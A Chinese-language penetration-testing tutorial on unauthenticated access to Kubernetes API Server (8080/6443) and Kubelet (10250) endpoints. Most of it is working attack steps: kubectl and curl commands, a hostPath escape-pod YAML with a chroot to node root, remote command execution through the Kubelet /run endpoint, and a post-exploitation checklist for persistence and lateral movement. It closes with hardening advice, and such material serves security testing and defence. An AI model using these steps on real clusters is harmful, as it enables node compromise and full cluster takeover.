在云原生渗透测试中,Kubernetes(K8s)已成为容器编排的事实标准。K8s集群配置不当(尤其是API Server和Kubelet的未授权访问)可导致攻击者直接接管整个集群。本笔记从实战视角,系统梳理K8s核心架构三大未授权访问攻击面(APIServer 8080/6443、Kubelet 10250)的利用手法与防御策略,助你快速评估K8s环境的安全性。


1. K8s核心组件与攻击面

组件

默认端口

作用

攻击点

API Server

8080 (insecure), 6443 (secure)

集群操作入口,认证与授权中心

配置不当导致未授权访问、匿名用户绑定管理员角色

etcd

2379-2380

存储集群所有状态数据

未授权访问可获取集群敏感信息

Kubelet

10250, 10255

管理节点上容器生命周期

未授权访问可执行命令、获取Pod日志

Dashboard

30000-32767 (NodePort)

Web UI管理界面

弱口令、未授权访问

kube-proxy

10256

网络代理和负载均衡

可能暴露内部服务

攻击链


2. API Server未授权访问(8080端口)
2.1 漏洞原理
  • 影响版本:Kubernetes < 1.16.0(默认开启),或高版本管理员手动开启。
  • 端口8080(insecure-port)默认无认证、无加密,仅用于测试。
  • 利用条件:API Server 的--insecure-port=8080--insecure-bind-address=0.0.0.0
2.2 利用步骤

步骤

命令

说明

1. 探测端口

curl http://<master-ip>:8080/version

返回版本信息即未授权

2. 列出节点

kubectl -s http://<master-ip>:8080 get nodes

查看集群节点

3. 创建恶意Pod

编写evil-pod.yaml,定义hostPath挂载宿主机根目录

见下方yaml示例

4. 创建Pod

kubectl -s http://<master-ip>:8080 create -f evil-pod.yaml

Pod运行在任意节点

5. 进入Pod

kubectl -s http://<master-ip>:8080 exec -it <pod-name> -- /bin/bash

6. 逃逸至宿主机

chroot /host /bin/bash

获得Node节点root权限

恶意Pod YAML示例

apiVersion: v1
kind: Pod
metadata:
  name: escape-pod
spec:
  containers:
  - name: attacker
    image: ubuntu:latest
    command: ["/bin/sh", "-c", "sleep 3600"]
    volumeMounts:
    - mountPath: /host
      name: host-root
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory

利用后:可在宿主机写计划任务反弹Shell、植入后门。


3. API Server未授权访问(6443端口,匿名用户绑定管理员)
3.1 漏洞原理
  • 端口6443(secure-port)默认需TLS证书认证,但若管理员错误地将system:anonymous用户绑定到cluster-admin角色,则匿名用户可拥有管理员权限。
  • 利用条件
kubectl create clusterrolebinding anonymous-admin \
  --clusterrole=cluster-admin \
  --user=system:anonymous
3.2 利用步骤

步骤

命令

说明

1. 探测匿名权限

kubectl --insecure-skip-tls-verify -s https://<master-ip>:6443 get pods

若返回权限拒绝则失败;若成功则存在漏洞

2. 创建恶意Pod

同上,使用YAML或直接API POST

通过POST请求创建

3. 执行命令

kubectl --insecure-skip-tls-verify -s https://<master-ip>:6443 exec -it <pod> -- bash

直接API创建Pod(无需kubectl)

curl -k -X POST https://<master-ip>:6443/api/v1/namespaces/default/pods/ \
  -H "Content-Type: application/yaml" \
  --data-binary @evil-pod.yaml

4. Kubelet未授权访问(10250端口)
4.1 漏洞原理
  • 端口10250(kubelet API)默认需要认证,但可配置为允许匿名访问。
  • 配置缺陷/var/lib/kubelet/config.yaml中:
authentication:
  anonymous:
    enabled: true
authorization:
  mode: AlwaysAllow
  • 利用条件:上述配置后,无需任何凭证即可调用Kubelet API。
4.2 利用步骤

步骤

命令

说明

1. 探测未授权

curl -k https://<node-ip>:10250/pods

返回Pod列表即存在漏洞

2. 查找目标Pod

/pods响应中获取namespacepod名称container名称

3. 执行命令

curl -XPOST -k "https://<node-ip>:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"

可直接在容器内执行任意命令

示例

# 获取Pod列表
curl -k https://192.168.139.132:10250/pods | jq '.items[].metadata.name'

# 执行命令
curl -XPOST -k "https://192.168.139.132:10250/run/default/test02/test02" -d "cmd=id"

注意:kubelet API 执行的命令运行在容器内,若需逃逸仍需进一步挂载宿主目录。


5. 渗透测试实战Checklist(K8s未授权)
1. 端口扫描
   - [ ] 扫描Master节点:8080, 6443
   - [ ] 扫描Node节点:10250, 10255

2. API Server (8080)
   - [ ] 访问 `http://<master>:8080/version`
   - [ ] 若成功,使用kubectl创建挂载宿主机根目录的Pod
   - [ ] 进入Pod,chroot获得Node权限

3. API Server (6443)
   - [ ] 尝试 `kubectl --insecure-skip-tls-verify -s https://<master>:6443 get pods`
   - [ ] 若成功,检查匿名用户角色绑定:`kubectl auth can-i --list --as=system:anonymous`
   - [ ] 同8080利用链创建恶意Pod

4. Kubelet (10250)
   - [ ] 访问 `https://<node>:10250/pods` 查看能否获取Pod列表
   - [ ] 利用`/run/<namespace>/<pod>/<container>`接口执行命令
   - [ ] 若容器挂载了宿主机目录,直接逃逸;否则尝试容器内提权

5. 后渗透
   - [ ] 获取宿主机kubeconfig凭证,访问Master
   - [ ] 创建高权限ServiceAccount持久化
   - [ ] 横向控制其他Node

6. 防御与加固建议

风险点

加固措施

API Server 8080端口

生产环境禁用--insecure-port,仅内部调试使用,且不暴露至外网

API Server 6443匿名绑定

定期审计ClusterRoleBinding,移除匿名用户绑定;启用RBAC最小权限

Kubelet 10250端口

设置anonymous: false,启用Webhook认证模式;使用防火墙限制访问源IP

默认ServiceAccount

禁用自动挂载,删除不必要的SA权限

Pod安全策略

限制hostPath挂载及特权容器运行


💡 总结

Kubernetes集群的未授权访问是渗透测试中的高价值突破口。API Server的8080端口(历史版本)6443端口的匿名用户绑定以及Kubelet的10250端口配置不当均可直接导致集群控制权沦陷。渗透测试人员应优先扫描这些端口,利用kubectl或原生API下发恶意Pod,实现从“容器”到“宿主机”再到“集群管理员”的完整攻击链。本笔记提供的命令和YAML示例可在实战中直接复用。

更多推荐